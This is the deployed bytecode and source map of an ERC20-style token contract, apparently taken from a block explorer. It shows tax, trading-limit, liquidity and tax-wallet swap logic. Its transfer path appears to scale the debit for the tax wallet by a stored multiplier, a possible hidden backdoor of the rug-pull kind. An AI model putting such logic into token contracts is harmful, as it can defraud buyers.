0279575f80fd5b506101a0600d5481565b34801561028e575f80fd5b50610210610589565b3480156102a2575f80fd5b505f546040516001600160a01b039091168152602001610154565b3480156102c8575f80fd5b506101a0600e5481565b3480156102dd575f80fd5b5061017c6102ec366004611590565b610754565b3480156102fc575f80fd5b506101a061030b366004611613565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610340575f80fd5b5061021061034f36600461164a565b610760565b5f61036033848461078b565b5060015b92915050565b6103766009600a611755565b61038390620f4240611763565b81565b5f6103936009600a611755565b6103a1906305f5e100611763565b905090565b5f6103b28484846108af565b61040384336103fe856040518060600160405280602881526020016118d8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d77565b61078b565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461042c575f80fd5b305f90815260016020526040902054801561044a5761044a81610daf565b47801561045a5761045a81610f7f565b5050565b5f546001600160a01b031633146104905760405162461bcd60e51b81526004016104879061177a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105015760405162461bcd60e51b81526004016104879061177a565b61050d6009600a611755565b61051b906305f5e100611763565b600d5561052a6009600a611755565b610538906305f5e100611763565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105686009600a611755565b610576906305f5e100611763565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105b25760405162461bcd60e51b81526004016104879061177a565b600f5460ff16156106055760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610487565b600f805462ff0000191662010000179055610655307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6106476009600a611755565b6103fe906305f5e100611763565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d71947306106a4306001600160a01b03165f9081526001602052604090205490565b5f806106b75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561071d573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074291906117af565b5050600f805460ff1916600117905550565b5f6103603384846108af565b6004546001600160a01b0316336001600160a01b03161461077f575f80fd5b61078881610f7f565b50565b6001600160a01b0383166107ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610487565b6001600160a01b03821661084e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610487565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610487565b6001600160a01b0382166109755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610487565b5f81116109d65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610487565b600f5462010000900460ff1615806109f55750600f54610100900460ff165b15610a0a57610a05838383610fb6565b505050565b5f80546001600160a01b03858116911614801590610a3557505f546001600160a01b03848116911614155b8015610a4f57506004546001600160a01b03848116911614155b15610d5b57610a806064610a7a600954600c5411610a6f57600554610a73565b6007545b8590611059565b906110de565b90507f000000000000000000000000c7ef6b7689fa06f6c639a3a89a08e6e377a6cdb76001600160a01b0316846001600160a01b0316148015610af557507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b8015610b1957506001600160a01b0383165f9081526003602052604090205460ff16155b15610bff57600d54821115610b705760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610487565b600e5482610b92856001600160a01b03165f9081526001602052604090205490565b610b9c91906117da565b1115610bea5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610487565b600c8054905f610bf9836117ed565b91905055505b7f000000000000000000000000c7ef6b7689fa06f6c639a3a89a08e6e377a6cdb76001600160a01b0316836001600160a01b0316148015610c4957506001600160a01b0384163014155b15610c7657610c736064610a7a600a54600c5411610c6957600654610a73565b6008548590611059565b90505b305f90815260016020526040902054600f54610100900460ff16158015610cce57507f000000000000000000000000c7ef6b7689fa06f6c639a3a89a08e6e377a6cdb76001600160a01b0316846001600160a01b0316145b8015610ce25750600f5462010000900460ff165b8015610d055750610cf56009600a611755565b610d0290620f4240611763565b81115b8015610d145750600b54600c54115b15610d5957610d47610d4284610d3d84610d306009600a611755565b610d3d90620f4240611763565b61111f565b610daf565b478015610d5757610d5747610f7f565b505b505b610d658484611133565b610d71848484846112f1565b50505050565b5f8184841115610d9a5760405162461bcd60e51b81526004016104879190611547565b505f610da68486611805565b95945050505050565b600f805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610df157610df1611818565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e91919061182c565b81600181518110610ea457610ea4611818565b60200260200101906001600160a01b031690816001600160a01b031681525050610eef307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461078b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790610f439085905f90869030904290600401611847565b5f604051808303815f87803b158015610f5a575f80fd5b505af1158015610f6c573d5f803e3d5ffd5b5050600f805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561045a573d5f803e3d5ffd5b6001600160a01b0383165f90815260016020526040902054610fd8908261131b565b6001600160a01b038085165f908152600160205260408082209390935590841681522054611006908261135c565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108a29085815260200190565b5f825f0361106857505f610364565b5f6110738385611763565b90508261108085836118b8565b146110d75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610487565b9392505050565b5f6110d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ba565b5f81831161112d57826110d7565b50919050565b6001600160a01b0382165f9081526003602052604090205460ff168061117057506001600160a01b0381165f9081526003602052604090205460ff165b801561118557506001600160a01b0382163014155b801561119a57506001600160a01b0381163014155b156111a457436012555b6001600160a01b0382165f9081526003602052604090205460ff161580156111e457506001600160a01b0381165f9081526003602052604090205460ff16155b1561045a57806001600160a01b03167f000000000000000000000000c7ef6b7689fa06f6c639a3a89a08e6e377a6cdb76001600160a01b0316146112bc576001600160a01b038082165f908152601160205260409020908381167f000000000000000000000000c7ef6b7689fa06f6c639a3a89a08e6e377a6cdb79091160361128a5780545f03610a0557600c54600b5410156112815743611284565b5f195b90555050565b6001600160a01b0383165f9081526011602052604090208154815410806112b057508154155b15610d71575490555050565b6001600160a01b0382165f90815260116020526040902060125481546112e19161131b565b6001820155426002909101555050565b5f6112fd8583856113e6565b905061131485858361130f878761131b565b611496565b5050505050565b5f6110d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d77565b5f8061136883856117da565b9050838110156110d75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610487565b5f81836113da5760405162461bcd60e51b81526004016104879190611547565b505f610da684866118b8565b6004545f9081906001600160a01b03908116908616036114125760105461140d9084611059565b611414565b825b9050831561148e57305f90815260016020526040902054611435908561135c565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114859088815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546114b8908361131b565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546114e6908261135c565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115399085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610788575f80fd5b5f80604083850312156115a1575f80fd5b82356115ac8161157c565b946020939093013593505050565b5f805f606084860312156115cc575f80fd5b83356115d78161157c565b925060208401356115e78161157c565b929592945050506040919091013590565b5f60208284031215611608575f80fd5b81356110d78161157c565b5f8060408385031215611624575f80fd5b823561162f8161157c565b9150602083013561163f8161157c565b809150509250929050565b5f6020828403121561165a575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116af57815f190482111561169557611695611661565b808516156116a257918102915b93841c939080029061167a565b509250929050565b5f826116c557506001610364565b816116d157505f610364565b81600181146116e757600281146116f15761170d565b6001915050610364565b60ff84111561170257611702611661565b50506001821b610364565b5060208310610133831016604e8410600b8410161715611730575081810a610364565b61173a8383611675565b805f190482111561174d5761174d611661565b029392505050565b5f6110d760ff8416836116b7565b808202811582820484141761036457610364611661565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156117c1575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561036457610364611661565b5f600182016117fe576117fe611661565b5060010190565b8181038181111561036457610364611661565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561183c575f80fd5b81516110d78161157c565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118975784516001600160a01b031683529383019391830191600101611872565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826118d257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c28e907e3b325370e0c6ded81cfa9108fca53a4b0d10298bf085d3fefb4eef3f64736f6c63430008190033
Deployed Bytecode Sourcemap
3505:10394:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5797:83;;;;;;;;;;-1:-1:-1;5867:5:0;;;;;;;;;;;-1:-1:-1;;;5867:5:0;;;;5797:83;;;;5867:5;5797:83;:::i;:::-;;;;;;;;6630:161;;;;;;;;;;-1:-1:-1;6630:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6630:161:0;893:187:1;4441:61:0;;;;;;;;;;;;;:::i;:::-;;;1231:25:1;;;1219:2;1204:18;4441:61:0;1085:177:1;6074:95:0;;;;;;;;;;;;;:::i;7059:313::-;;;;;;;;;;-1:-1:-1;7059:313:0;;;;;:::i;:::-;;:::i;5983:83::-;;;;;;;;;;-1:-1:-1;5983:83:0;;4178:1;1870:36:1;;1858:2;1843:18;5983:83:0;1728:184:1;13511:348:0;;;;;;;;;;;;;:::i;:::-;;6177:119;;;;;;;;;;-1:-1:-1;6177:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6270:18:0;6243:7;6270:18;;;:9;:18;;;;;;;6177:119;2570:148;;;;;;;;;;;;;:::i;12690:158::-;;;;;;;;;;;;;:::i;4511:52::-;;;;;;;;;;;;;;;;13096:407;;;;;;;;;;;;;:::i;2483:79::-;;;;;;;;;;-1:-1:-1;2521:7:0;2548:6;2483:79;;-1:-1:-1;;;;;2548:6:0;;;2315:51:1;;2303:2;2288:18;2483:79:0;2169:203:1;4570:54:0;;;;;;;;;;;;;;;;6304:167;;;;;;;;;;-1:-1:-1;6304:167:0;;;;;:::i;:::-;;:::i;6479:143::-;;;;;;;;;;-1:-1:-1;6479:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6587:18:0;;;6560:7;6587:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6479:143;12956:132;;;;;;;;;;-1:-1:-1;12956:132:0;;;;;:::i;:::-;;:::i;6630:161::-;6705:4;6722:39;2013:10;6745:7;6754:6;6722:8;:39::i;:::-;-1:-1:-1;6779:4:0;6630:161;;;;;:::o;4441:61::-;4489:13;4178:1;4489:2;:13;:::i;:::-;4479:23;;:7;:23;:::i;:::-;4441:61;:::o;6074:95::-;6127:7;4233:13;4178:1;4233:2;:13;:::i;:::-;4221:25;;:9;:25;:::i;:::-;6147:14;;6074:95;:::o;7059:313::-;7157:4;7174:36;7184:6;7192:9;7203:6;7174:9;:36::i;:::-;7221:121;7230:6;2013:10;7252:89;7290:6;7252:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7252:19:0;;;;;;:11;:19;;;;;;;;2013:10;7252:33;;;;;;;;;;:37;:89::i;:::-;7221:8;:121::i;:::-;-1:-1:-1;7360:4:0;7059:313;;;;;:::o;13511:348::-;13575:10;;-1:-1:-1;;;;;13575:10:0;2013;-1:-1:-1;;;;;13561:24:0;;13553:33;;;;;;13636:4;13597:20;6270:18;;;:9;:18;;;;;;13656:14;;13653:73;;13684:30;13701:12;13684:16;:30::i;:::-;13755:21;13790:12;;13787:65;;13816:24;13829:10;13816:12;:24::i;:::-;13542:317;;13511:348::o;2570:148::-;2234:6;;-1:-1:-1;;;;;2234:6:0;2013:10;2234:22;2226:67;;;;-1:-1:-1;;;2226:67:0;;;;;;;:::i;:::-;;;;;;;;;2677:1:::1;2661:6:::0;;2640:40:::1;::::0;-1:-1:-1;;;;;2661:6:0;;::::1;::::0;2640:40:::1;::::0;2677:1;;2640:40:::1;2708:1;2691:19:::0;;-1:-1:-1;;;;;;2691:19:0::1;::::0;;2570:148::o;12690:158::-;2234:6;;-1:-1:-1;;;;;2234:6:0;2013:10;2234:22;2226:67;;;;-1:-1:-1;;;2226:67:0;;;;;;;:::i;:::-;4233:13:::1;4178:1;4233:2;:13;:::i;:::-;4221:25;::::0;:9:::1;:25;:::i;:::-;12743:12;:20:::0;4233:13:::1;4178:1;4233:2;:13;:::i;:::-;4221:25;::::0;:9:::1;:25;:::i;:::-;12774:14;:23:::0;12813:27:::1;4233:13;4178:1;4233:2;:13;:::i;:::-;4221:25;::::0;:9:::1;:25;:::i;:::-;12813:27;::::0;1231:25:1;;;1219:2;1204:18;12813:27:0::1;;;;;;;12690:158::o:0;13096:407::-;2234:6;;-1:-1:-1;;;;;2234:6:0;2013:10;2234:22;2226:67;;;;-1:-1:-1;;;2226:67:0;;;;;;;:::i;:::-;13162:11:::1;::::0;::::1;;13161:12;13153:47;;;::::0;-1:-1:-1;;;13153:47:0;;5200:2:1;13153:47:0::1;::::0;::::1;5182:21:1::0;5239:2;5219:18;;;5212:30;5278:25;5258:18;;;5251:53;5321:18;;13153:47:0::1;4998:347:1::0;13153:47:0::1;13211:11;:18:::0;;-1:-1:-1;;13211:18:0::1;::::0;::::1;::::0;;13242:58:::1;13259:4;13274:15;4233:13;4178:1;4233:2;:13;:::i;:::-;4221:25;::::0;:9:::1;:25;:::i;13242:58::-;13311:15;-1:-1:-1::0;;;;;13311:31:0::1;;13364:21;13405:4;13411:24;13429:4;-1:-1:-1::0;;;;;6270:18:0;6243:7;6270:18;;;:9;:18;;;;;;;6177:119;13411:24:::1;13436:1;13438::::0;13440:7:::1;2521::::0;2548:6;-1:-1:-1;;;;;2548:6:0;;2483:79;13440:7:::1;13311:153;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13311:153:0;;;-1:-1:-1;;;;;5709:15:1;;;13311:153:0::1;::::0;::::1;5691:34:1::0;5741:18;;;5734:34;;;;5784:18;;;5777:34;;;;5827:18;;;5820:34;5891:15;;;5870:19;;;5863:44;13448:15:0::1;5923:19:1::0;;;5916:35;5625:19;;13311:153:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13477:11:0::1;:18:::0;;-1:-1:-1;;13477:18:0::1;13491:4;13477:18;::::0;;-1:-1:-1;13096:407:0:o;6304:167::-;6382:4;6399:42;2013:10;6423:9;6434:6;6399:9;:42::i;12956:132::-;13038:10;;-1:-1:-1;;;;;13038:10:0;2013;-1:-1:-1;;;;;13024:24:0;;13016:33;;;;;;13060:20;13073:6;13060:12;:20::i;:::-;12956:132;:::o;7380:335::-;-1:-1:-1;;;;;7473:19:0;;7465:68;;;;-1:-1:-1;;;7465:68:0;;6475:2:1;7465:68:0;;;6457:21:1;6514:2;6494:18;;;6487:30;6553:34;6533:18;;;6526:62;-1:-1:-1;;;6604:18:1;;;6597:34;6648:19;;7465:68:0;6273:400:1;7465:68:0;-1:-1:-1;;;;;7552:21:0;;7544:68;;;;-1:-1:-1;;;7544:68:0;;6880:2:1;7544:68:0;;;6862:21:1;6919:2;6899:18;;;6892:30;6958:34;6938:18;;;6931:62;-1:-1:-1;;;7009:18:1;;;7002:32;7051:19;;7544:68:0;6678:398:1;7544:68:0;-1:-1:-1;;;;;7623:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7675:32;;1231:25:1;;;7675:32:0;;1204:18:1;7675:32:0;;;;;;;;7380:335;;;:::o;7723:2015::-;-1:-1:-1;;;;;7816:18:0;;7808:68;;;;-1:-1:-1;;;7808:68:0;;7283:2:1;7808:68:0;;;7265:21:1;7322:2;7302:18;;;7295:30;7361:34;7341:18;;;7334:62;-1:-1:-1;;;7412:18:1;;;7405:35;7457:19;;7808:68:0;7081:401:1;7808:68:0;-1:-1:-1;;;;;7895:16:0;;7887:64;;;;-1:-1:-1;;;7887:64:0;;7689:2:1;7887:64:0;;;7671:21:1;7728:2;7708:18;;;7701:30;7767:34;7747:18;;;7740:62;-1:-1:-1;;;7818:18:1;;;7811:33;7861:19;;7887:64:0;7487:399:1;7887:64:0;7984:1;7972:11;:13;7964:67;;;;-1:-1:-1;;;7964:67:0;;8093:2:1;7964:67:0;;;8075:21:1;8132:2;8112:18;;;8105:30;8171:34;8151:18;;;8144:62;-1:-1:-1;;;8222:18:1;;;8215:39;8271:19;;7964:67:0;7891:405:1;7964:67:0;8050:11;;;;;;;8048:13;;:23;;-1:-1:-1;8065:6:0;;;;;;;8048:23;8044:114;;;8088:37;8103:4;8109:2;8113:11;8088:14;:37::i;:::-;7723:2015;;;:::o;8044:114::-;8170:17;2548:6;;-1:-1:-1;;;;;8204:15:0;;;2548:6;;8204:15;;;;:32;;-1:-1:-1;2521:7:0;2548:6;-1:-1:-1;;;;;8223:13:0;;;2548:6;;8223:13;;8204:32;:51;;;;-1:-1:-1;8245:10:0;;-1:-1:-1;;;;;8239:16:0;;;8245:10;;8239:16;;8204:51;8200:1437;;;8284:103;8383:3;8284:94;8333:15;;8323:9;;:25;8322:55;;8363:14;;8322:55;;;8350:12;;8322:55;8284:11;;:37;:94::i;:::-;:98;;:103::i;:::-;8272:115;;8416:13;-1:-1:-1;;;;;8408:21:0;:4;-1:-1:-1;;;;;8408:21:0;;:55;;;;;8447:15;-1:-1:-1;;;;;8433:30:0;:2;-1:-1:-1;;;;;8433:30:0;;;8408:55;:84;;;;-1:-1:-1;;;;;;8470:22:0;;;;;;:18;:22;;;;;;;;8468:24;8408:84;8404:446;;;8558:12;;8543:11;:27;;8513:126;;;;-1:-1:-1;;;8513:126:0;;8503:2:1;8513:126:0;;;8485:21:1;8542:2;8522:18;;;8515:30;8581:27;8561:18;;;8554:55;8626:18;;8513:126:0;8301:349:1;8513:126:0;8719:14;;8704:11;8688:13;8698:2;-1:-1:-1;;;;;6270:18:0;6243:7;6270:18;;;:9;:18;;;;;;;6177:119;8688:13;:27;;;;:::i;:::-;:45;;8658:145;;;;-1:-1:-1;;;8658:145:0;;8987:2:1;8658:145:0;;;8969:21:1;9026:2;9006:18;;;8999:30;9065:28;9045:18;;;9038:56;9111:18;;8658:145:0;8785:350:1;8658:145:0;8822:9;:12;;;:9;:12;;;:::i;:::-;;;;;;8404:446;8873:13;-1:-1:-1;;;;;8869:17:0;:2;-1:-1:-1;;;;;8869:17:0;;:41;;;;-1:-1:-1;;;;;;8890:20:0;;8905:4;8890:20;;8869:41;8866:199;;;8943:106;9045:3;8943:97;8992:16;;8982:9;;:26;8981:58;;9024:15;;8981:58;;;9010:13;;8943:11;;:37;:97::i;:106::-;8931:118;;8866:199;9130:4;9081:28;6270:18;;;:9;:18;;;;;;9157:6;;;;;;;9155:8;:30;;;;;9172:13;-1:-1:-1;;;;;9166:19:0;:2;-1:-1:-1;;;;;9166:19:0;;9155:30;:45;;;;-1:-1:-1;9189:11:0;;;;;;;9155:45;:105;;;;-1:-1:-1;4421:13:0;4178:1;4421:2;:13;:::i;:::-;4411:23;;:7;:23;:::i;:::-;9221:20;:39;9155:105;:155;;;;;9292:18;;9281:9;;:29;9155:155;9151:475;;;9345:74;9362:56;9366:11;9379:38;9383:20;4489:13;4178:1;4489:2;:13;:::i;:::-;4479:23;;:7;:23;:::i;:::-;9379:3;:38::i;9362:56::-;9345:16;:74::i;:::-;9467:21;9511:20;;9507:104;;9556:35;9569:21;9556:12;:35::i;:::-;9326:300;9151:475;8257:1380;8200:1437;9649:23;9663:4;9669:2;9649:13;:23::i;:::-;9685:45;9700:4;9705:2;9708:11;9720:9;9685:14;:45::i;:::-;7797:1941;7723:2015;;;:::o;1449:190::-;1535:7;1571:12;1563:6;;;;1555:29;;;;-1:-1:-1;;;1555:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1595:9:0;1607:5;1611:1;1607;:5;:::i;:::-;1595:17;1449:190;-1:-1:-1;;;;;1449:190:0:o;12199:483::-;5134:6;:13;;-1:-1:-1;;5134:13:0;;;;;12301:16:::1;::::0;;12315:1:::1;12301:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12301:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12301:16:0::1;12277:40;;12346:4;12328;12333:1;12328:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12328:23:0::1;;;-1:-1:-1::0;;;;;12328:23:0::1;;;::::0;::::1;12372:15;-1:-1:-1::0;;;;;12372:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12362:4;12367:1;12362:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;12362:32:0::1;;;-1:-1:-1::0;;;;;12362:32:0::1;;;::::0;::::1;12405:62;12422:4;12437:15;12455:11;12405:8;:62::i;:::-;12478:196;::::0;-1:-1:-1;;;12478:196:0;;-1:-1:-1;;;;;12478:15:0::1;:66;::::0;::::1;::::0;:196:::1;::::0;12559:11;;12585:1:::1;::::0;12601:4;;12628::::1;::::0;12648:15:::1;::::0;12478:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5170:6:0;:14;;-1:-1:-1;;5170:14:0;;;-1:-1:-1;;;;12199:483:0:o;12856:92::-;12913:10;;:27;;-1:-1:-1;;;;;12913:10:0;;;;:27;;;;;12933:6;;12913:10;:27;:10;:27;12933:6;12913:10;:27;;;;;;;;;;;;;;;;;;;6799:252;-1:-1:-1;;;;;6908:15:0;;;;;;:9;:15;;;;;;:32;;6928:11;6908:19;:32::i;:::-;-1:-1:-1;;;;;6890:15:0;;;;;;;:9;:15;;;;;;:50;;;;6967:13;;;;;;;:30;;6985:11;6967:17;:30::i;:::-;-1:-1:-1;;;;;6951:13:0;;;;;;;:9;:13;;;;;;;:46;;;;7013:30;;;;;;;;;;7031:11;1231:25:1;;1219:2;1204:18;;1085:177;1647:246:0;1705:7;1729:1;1734;1729:6;1725:47;;-1:-1:-1;1759:1:0;1752:8;;1725:47;1782:9;1794:5;1798:1;1794;:5;:::i;:::-;1782:17;-1:-1:-1;1827:1:0;1818:5;1822:1;1782:17;1818:5;:::i;:::-;:10;1810:56;;;;-1:-1:-1;;;1810:56:0;;11342:2:1;1810:56:0;;;11324:21:1;11381:2;11361:18;;;11354:30;11420:34;11400:18;;;11393:62;-1:-1:-1;;;11471:18:1;;;11464:31;11512:19;;1810:56:0;11140:397:1;1810:56:0;1884:1;1647:246;-1:-1:-1;;;1647:246:0:o;952:132::-;1010:7;1037:39;1041:1;1044;1037:39;;;;;;;;;;;;;;;;;:3;:39::i;12093:98::-;12150:7;12177:1;12175;:3;12174:9;;12182:1;12174:9;;;-1:-1:-1;12180:1:0;12093:98;-1:-1:-1;12093:98:0:o;10874:1209::-;-1:-1:-1;;;;;10948:24:0;;;;;;:18;:24;;;;;;;;;:49;;-1:-1:-1;;;;;;10975:22:0;;;;;;:18;:22;;;;;;;;10948:49;10947:76;;;;-1:-1:-1;;;;;;11002:21:0;;11018:4;11002:21;;10947:76;:99;;;;-1:-1:-1;;;;;;11027:19:0;;11041:4;11027:19;;10947:99;10943:159;;;11078:12;11063;:27;10943:159;-1:-1:-1;;;;;11133:24:0;;;;;;:18;:24;;;;;;;;11131:26;:66;;;;-1:-1:-1;;;;;;11175:22:0;;;;;;:18;:22;;;;;;;;11174:23;11131:66;11114:962;;;11246:2;-1:-1:-1;;;;;11228:20:0;:13;-1:-1:-1;;;;;11228:20:0;;11224:841;;-1:-1:-1;;;;;11298:13:0;;;11269:26;11298:13;;;:9;:13;;;;;;11334:21;;;:13;:21;;;;11330:499;;11384:15;;;:20;11380:158;;11473:9;;11451:18;;:31;;:63;;11502:12;11451:63;;;-1:-1:-1;;11451:63:0;11433:81;;-1:-1:-1;;7723:2015:0:o;11330:499::-;-1:-1:-1;;;;;11618:15:0;;11586:29;11618:15;;;:9;:15;;;;;11681;;11660:18;;:36;;:60;;-1:-1:-1;11702:15:0;;:17;11660:60;11656:154;;;11768:18;11750:36;;-1:-1:-1;;13511:348:0:o;11224:841::-;-1:-1:-1;;;;;11901:15:0;;11869:29;11901:15;;;:9;:15;;;;;11980:12;;11957:18;;:36;;:22;:36::i;:::-;11935:19;;;:58;12034:15;12012:19;;;;:37;10874:1209;;:::o;10566:300::-;10719:15;10735:47;10753:4;10759:9;10770:11;10735:17;:47::i;:::-;10719:63;-1:-1:-1;10793:65:0;10813:4;10819:2;10719:63;10831:26;:11;10847:9;10831:15;:26::i;:::-;10793:19;:65::i;:::-;10708:158;10566:300;;;;:::o;1305:136::-;1363:7;1390:43;1394:1;1397;1390:43;;;;;;;;;;;;;;;;;:3;:43::i;765:179::-;823:7;;855:5;859:1;855;:5;:::i;:::-;843:17;;884:1;879;:6;;871:46;;;;-1:-1:-1;;;871:46:0;;11744:2:1;871:46:0;;;11726:21:1;11783:2;11763:18;;;11756:30;11822:29;11802:18;;;11795:57;11869:18;;871:46:0;11542:351:1;1092:205:0;1194:7;1229:12;1222:5;1214:28;;;;-1:-1:-1;;;1214:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1253:9:0;1265:5;1269:1;1265;:5;:::i;9746:454::-;9893:10;;9846:7;;;;-1:-1:-1;;;;;9893:10:0;;;9884:19;;;;:69;;9920:16;;:33;;9941:11;9920:20;:33::i;:::-;9884:69;;;9906:11;9884:69;9866:87;-1:-1:-1;9968:13:0;;9964:204;;10043:4;10025:24;;;;:9;:24;;;;;;:39;;10054:9;10025:28;:39::i;:::-;10016:4;9998:24;;;;:9;:24;;;;;;;:66;;;;10084:72;;-1:-1:-1;;;;;10084:72:0;;;;;;;10132:9;1231:25:1;;1219:2;1204:18;;1085:177;10084:72:0;;;;;;;;9964:204;10185:7;9746:454;-1:-1:-1;;;;9746:454:0:o;10208:350::-;-1:-1:-1;;;;;10387:15:0;;;;;;:9;:15;;;;;;:31;;10407:10;10387:19;:31::i;:::-;-1:-1:-1;;;;;10369:15:0;;;;;;;:9;:15;;;;;;:49;;;;10445:13;;;;;;;:32;;10463:13;10445:17;:32::i;:::-;-1:-1:-1;;;;;10429:13:0;;;;;;;:9;:13;;;;;;;:48;;;;10495:55;;;;;;;;;;10526:13;1231:25:1;;1219:2;1204:18;;1085:177;10495:55:0;;;;;;;;10208:350;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:45